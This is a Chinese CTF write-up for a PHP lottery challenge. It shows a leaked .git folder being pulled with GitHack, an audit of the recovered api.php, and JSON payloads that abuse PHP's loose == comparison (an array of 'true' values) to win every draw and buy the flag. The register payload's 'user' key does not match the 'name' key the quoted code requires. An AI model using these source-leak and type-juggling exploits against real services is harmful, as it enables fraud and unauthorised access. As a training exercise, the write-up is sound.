CTF:lottery(代碼審計|==比較繞過)


進入頁面,發現按鈕點了沒有反應,切換頁面都提示要先注冊

發現注冊不了,這時候查找了robots.txt文件,發現了.git文件夾

這是.git泄露了,使用GitHack把文件下載下來

經過查看發現這里面需要用到config.php文件和api.php文件

審計api.php代碼:

<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
    die(json_encode($resp));
}

function response_error($msg){
    $result = ['status'=>'error'];
    $result['msg'] = $msg;
    response($result);
}

function require_keys($req, $keys){ //$data,['action']
    foreach ($keys as $key) {
        if(!array_key_exists($key, $req)){ // 'action' ,
            response_error('invalid request');
        }
    }
}

function require_registered(){//判斷是否注冊
    if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
        response_error('register first');
    }
}

function require_min_money($min_money){
    if(!isset($_SESSION['money'])){
        response_error('register first');
    }
    $money = $_SESSION['money'];
    if($money < 0){
        $_SESSION = array();
        session_destroy();
        response_error('invalid negative money');
    }
    if($money < $min_money){
        response_error('you don\' have enough money');
    }
}

//要是post且CONTENT_TYPE不能為空並等於application/json
if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
    response_error('please post json data');
}

//file_get_contents('php://input') :獲取post數據, 
//json_decode解析成json,返回一個arrays
$data = json_decode(file_get_contents('php://input'), true); 

//json_last_error是讀取上一次json錯誤的值
if(json_last_error() != JSON_ERROR_NONE){
    response_error('invalid json');
}

//判斷是否有傳入的json中是否含有key值'action'
require_keys($data, ['action']);


/*隨機數種子*/
function random_num(){
    do {
        $byte = openssl_random_pseudo_bytes(10, $cstrong); 
        //openssl_random_pseudo_bytes():生成一個偽隨機字節串,10代表個數,$cstrong如果傳遞到該函數中,將會保存為一個 boolean 值來表明是否使用了“強加密”,如果被用於GPG和密碼之類的將返回TRUE , 否則返回 FALSE
        $num = ord($byte);//獲取byte中的第一個字節ascii碼值
    } while ($num >= 250); //ascii碼最大為255,所以這里只能輸出 0~249

    if(!$cstrong){
        response_error('server need be checked, tell admin');
    }
    
    $num /= 25; 
    return strval(floor($num)); //將$num轉換為字符串   |  floor函數向下舍入為最接近的整數 
    //這里沒有查到漏洞
}


/*循環生成一個7位的隨機數*/
function random_win_nums(){
    $result = '';
    for($i=0; $i<7; $i++){
        $result .= random_num();
    }
    return $result;

}

/*購買賭注函數,這里有漏洞*/
function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){//==不能判斷類型,這里有漏洞,可以傳入true做對比,除了“0”都為true
            $same_count++;
        } 
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}


/*獲取flag函數*/
function flag($req){
    global $flag;
    global $flag_price;

    require_registered();
    $money = $_SESSION['money'];
    if($money < $flag_price){//當錢足夠時才能獲取flag
        response_error('you don\' have enough money');
    } else {
        $money -= $flag_price;
        $_SESSION['money'] = $money;
        $msg = 'Here is your flag: ' . $flag;
        response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
    }
}

/*注冊函數*/
function register($req){
    $name = $req['name'];
    $_SESSION['name'] = $name;
    $_SESSION['money'] = 20;

    response(['status'=>'ok']);
}


switch ($data['action']) {
    case 'buy':
        require_keys($data, ['numbers']);
        buy($data);
        break;

    case 'flag':
        flag($data);
        break;

    case 'register':
        require_keys($data, ['name']);
        register($data);
        break;
    
    default:
        response_error('invalid request');
        break;
}

 

經過審計代碼后現在我們整理一下獲取flag的思路:

1.注冊用戶

2.多次購買獎票(使money>=999000)

3.獲取flag

 

 

 

1.構造payload注冊用戶

相關代碼:

/*注冊函數*/
function register($req){
    $name = $req['name'];
    $_SESSION['name'] = $name;
    $_SESSION['money'] = 20;

    response(['status'=>'ok']);
}

 

POST /api.php 並傳入json,使用burpsuite修改請求頭

{"action":"register","user":"1"}

 

 

 

這時候我們發現注冊成功了,成功的頁面返回了一個cookie,這個cookie就相當於用戶識別碼,把cookie保存下來需要在步奏2-3中使用

 

2.構造payload多次購買獎票

 

相關代碼:

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];

 

我們在上次的界面中添加cookie之后,還需要修改json,加入numbers

我們經過代碼審計得知有一個比較的漏洞,構造比較漏洞的json

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

 

3.構造payload獲取flag

當獲取的money足夠時提交獲取flag的payload


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM